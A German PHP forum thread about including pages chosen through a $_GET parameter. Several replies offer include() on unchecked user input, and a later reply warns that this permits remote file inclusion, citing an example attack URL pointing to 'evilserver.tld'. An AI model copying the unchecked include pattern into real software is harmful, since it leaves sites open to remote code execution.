steffi: $_GET geht bei else-if nicht

Hallo...
ich habe folgendes Problem:

Ich übergebe die variable site (navi.php?site=xy.htm) und rufe sie dann mit $_GET["site"] wieder auf!
Hier schnell das Script:

if (isset($_GET["site"])){
$site=$_GET["site"];
}else{
$site="start.htm"
}

$site wird dann mit include eingefügt.
Am Anfang ist $site noch nicht gesetzt, deswegen ist also start.htm am Anfang offen.
Aber wenn ich dann auf einen anderen Menüpunkt klicke, tut sich gar nix d.h. Start.htm ist immer noch "included".

Warum und was kann ich dagegen tun?

Danke im Voraus!

  1. Hallo,
    ich würde es so machen, evt. gehts dann.

    <?php

    $site = $_GET["site"];

    if(!isset($site))
    {
    $site = "start.htm";
    }

    include("$site");
    ?>

    Ich hoffe mal das mein Script funktioniert.

    Dein Script:

    if (isset($_GET["site"]))
    {
    $site=$_GET["site"];
    }
    else
    {
    $site="start.htm"; //Hier fehlte ein Zeichen
    }

    Evt. lag es daran

    MFG
    Andavos

    --
    http://www.rpgcommunity.de/clanwissen/index.php Webdesign, PHP, Clan-Aufbau und mehr
    1. danke für die Mühe... geht aber leider nicht!

      Ich nehme an, dass php es irgendwie nicht checkt, dass die Variable gesetzt ist, wenn einmal abgefragt wurde, ob sie nicht gesetzt ist und das auch zutraf!
      Klingt das Logisch? Ich versteh es nicht ganz, aber es ist so!

      Wenn ich $site so generiere:
      if(isset($_GET["navi"])){
      $site = $_GET["site"];
      }

      wird der übergebene Wert gelesen!

      Ich muss aber irgend eine Alternative haben, wenn kein site in der adresse mitgegeben ist.
      Sonst krieg ich diese schöne Meldung:

      Warning: Failed opening '' for inclusion (include_path='.; \apache\includes;\apache\htdocs;\apache\htdocs\phpmyadmin') in C:\apache\htdocs\trachtenverein\script\navi.php on line 129

      Alternativ könnte ich natürlich site immer mitgeben, aber ich finde das nicht sehr elegant gelöst und wüsste auch gerne, wo der Fehler liegt!

      Danke im Voraus
      steffi :o)

      1. Habe den Fehler gefunden.... bzw. Eine Lösung!

        Zuerst $_GET["site"] so umwandeln:
        if(isset($_GET["navi"])){
        $site = $_GET["site"];
        }

        Dann beim include:

        <?PHP
        if (isset($site)){
        include($site);
        }else{
        include("start.htm");
        }
        ?>

        Dann geht es jedenfalls!!!
        Warum auch immer.... weiß jemand, warum?

        1. Hallo,
          ich hab auch ein PHP Gästebuch mit einer ähnlichen Funktion und da hab ich das so gemacht:

          <?php
          $seite = $_GET["seite"];  //evt. $HTTP_GET_VARS["seite"]; benutzen

          if(!isset($seite))
          {
          $seite=1;
          }

          ?>

          Dann müsstest du es so ergänzen:

          <?php

          include("$seite");
          ?>

          Ich benutze die Variabel $seite um bestimmte Einträge aus meiner DB abzufragen.

          Wie gesagt, mein Script oben geht Einwandfrei.

          MFG
          Andavos

          --
          http://www.rpgcommunity.de/clanwissen/index.php Webdesign, PHP, Clan-Aufbau und mehr
  2. Moin!

    if (isset($_GET["site"])){
    $site=$_GET["site"];
    }else{
    $site="start.htm"
    }

    $site wird dann mit include eingefügt.

    Um Gottes Willen! Bloß das nicht!

    Was passiert, wenn du Fremden Zugriff auf deinen Webspace gibst, kannst du hier nachlesen (das ist ein reales Beispiel aus der Vergangenheit mit einem sich sehr dumm anstellenden DJ Wölk, der auf seiner Seite eine Textarea zur Codeeingabe bereitgestellt hat):

    http://forum.de.selfhtml.org/archiv/2003/6/48684/#m265531

    Insbesondere war der Schaden nicht zu verachten: http://forum.de.selfhtml.org/archiv/2003/6/48754/#m265902

    Was hat das mit dir zu tun? Nun, include() erlaubt auch URL-Angaben der Form "http://www.boeserserver.tld/evilscript.txt". Und wenn in dieser Textdatei böser PHP-Code drinsteht, dann führt PHP den grundsätzlich aus.

    Und da du keinerlei Tests machst, ob dir solch eine URL übergeben wurde, aber eben grundsätzlich ein Link der Form

    phpscript.php?site=http://evilserver.tld/evilscript.txt

    möglich ist, hast du zu 99% dann ein Problem.

    Deshalb: Du willst keinen Code ausführen, der sich in den HTM-Dateien befindet (weil sich da nur HTML drin befindet), also ist include() absolut überflüssig.

    Nimm readfile() stattdessen. http://de.php.net/manual/de/function.readfile.php

    - Sven Rautenberg

    --
    ss:) zu:) ls:[ fo:} de:] va:) ch:] sh:) n4:# rl:| br:< js:| ie:( fl:( mo:|